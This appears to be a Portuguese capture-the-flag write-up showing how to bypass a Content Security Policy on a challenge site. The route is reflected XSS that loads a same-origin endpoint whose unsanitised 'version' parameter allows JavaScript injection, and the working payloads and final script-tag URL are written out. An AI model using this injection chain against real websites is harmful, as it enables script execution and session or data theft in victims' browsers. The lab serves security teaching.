Lab 4 - Bypassing CSP with MIME Sniffing XSS
Este desafio de nível 4 consiste em explorar uma vulnerabilidade de Cross-Site Scripting (XSS) em uma aplicação web protegida por Content Security Policy (CSP), utilizando uma técnica de MIME sniffing para injetar e executar código JavaScript malicioso.
URL do Desafio: https://brunomenozzi.com/desafios/xss4_f181.php
O objetivo é executar um alert()
no contexto da página, contornando as restrições impostas pelo CSP.
- Ao acessar a página sem parâmetros, somos redirecionados para: https://brunomenozzi.com/desafios/xss4_f181.php?message=You%20was%20successfully%20logged%20out
O parâmetro message
é refletido diretamente no corpo da página dentro de uma <div class="message">
.
-
Analisando o código-fonte, observamos o cabeçalho Content Security Policy:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';
- Isso significa que apenas scripts do mesmo domínio (
brunomenozzi.com
) são permitidos, e scripts inline são bloqueados. - Estilos inline são permitidos devido a
'unsafe-inline'
emstyle-src
.
- Isso significa que apenas scripts do mesmo domínio (
-
Testamos uma injeção básica no parâmetro
message
:
https://brunomenozzi.com/desafios/xss4_f181.php?message=<script>alert(1)</script>
Resultado: Um alerta de violação de CSP aparece, indicando que scripts inline são bloqueados.

Conclusão: O CSP impede a execução de scripts inline, e precisamos encontrar uma forma de injetar um script que seja carregado a partir do mesmo domínio.
-
No código da página, notamos a inclusão de um script externo:
<script src='/desafios/version.php'></script>
Este script está hospedado no mesmo domínio, então é permitido pelo CSP (
script-src 'self'
). -
Acessamos https://brunomenozzi.com/desafios/version.php para analisar sua saída:
- O servidor retorna um cabeçalho
Content-Type: application/json
. - A saída é:
Se passarmos um parâmetro
var app = {'version':'1.0.0'};
version
, ele é inserido diretamente na string: https://brunomenozzi.com/desafios/version.php?version=teste
Saída:
var app = {'version':'teste'};
- O servidor retorna um cabeçalho
-
Insight: O parâmetro
version
não é sanitizado, permitindo a injeção de código JavaScript arbitrário.Além disso, apesar do
Content-Type: application/json
, o navegador executa a saída como JavaScript porque ela é carregada via uma tag<script>
(um caso clássico de MIME sniffing).
Para explorar a vulnerabilidade, precisamos:
- Injetar um script malicioso através do parâmetro
message
que carregueversion.php
com um parâmetroversion
manipulado. - Fechar a string JavaScript em
version.php
e injetar nosso código.
Teste de Injeção: https://brunomenozzi.com/desafios/version.php?version=teste'};alert(document.domain);//
- Saída gerada por
version.php
:var app = {'version':'teste'};alert(document.domain);//'};
- O
teste'
fecha a string do JavaScript. - O
};
fecha o objetoapp
. - O
alert(document.domain);
executa o código malicioso. - O
//
comenta o restante da linha para evitar erros de sintaxe.
Construindo o Payload Final:
Usamos o parâmetro message
em xss4_f181.php
para incluir uma tag <script>
que aponta para version.php
com o payload malicioso:
<script src="https://brunomenozzi.com/desafios/version.php?version=teste'};alert(document.domain)//"></script>
URL Completa (Encoded):
THAT’S ALL FOLKS

- MIME Sniffing: O navegador ignora o
Content-Type: application/json
deversion.php
porque a tag<script>
indica que o conteúdo deve ser tratado como JavaScript. O navegador “fareja” o conteúdo, detecta a sintaxe JavaScript e o executa. - Bypass de CSP: Como
version.php
está no mesmo domínio (brunomenozzi.com
), ele é permitido pelo CSP (script-src 'self'
). O CSP não verifica o conteúdo do script, apenas sua origem. - Injeção no
version.php
: O parâmetroversion
não é sanitizado, permitindo que o atacante quebre a estrutura do JavaScript e injete código arbitrário.
Quando a URL final é acessada, o navegador:
- Carrega
xss4_f181.php
e reflete a tag<script>
no parâmetromessage
. - A tag
<script>
faz uma requisição paraversion.php?version=teste'};alert(document.domain)//
. - O navegador executa o código retornado por
version.php
como JavaScript, disparando oalert(document.domain)
.
Este desafio demonstra como uma má configuração de Content-Type
combinada com falta de sanitização pode levar a vulnerabilidades graves, mesmo com CSP ativo.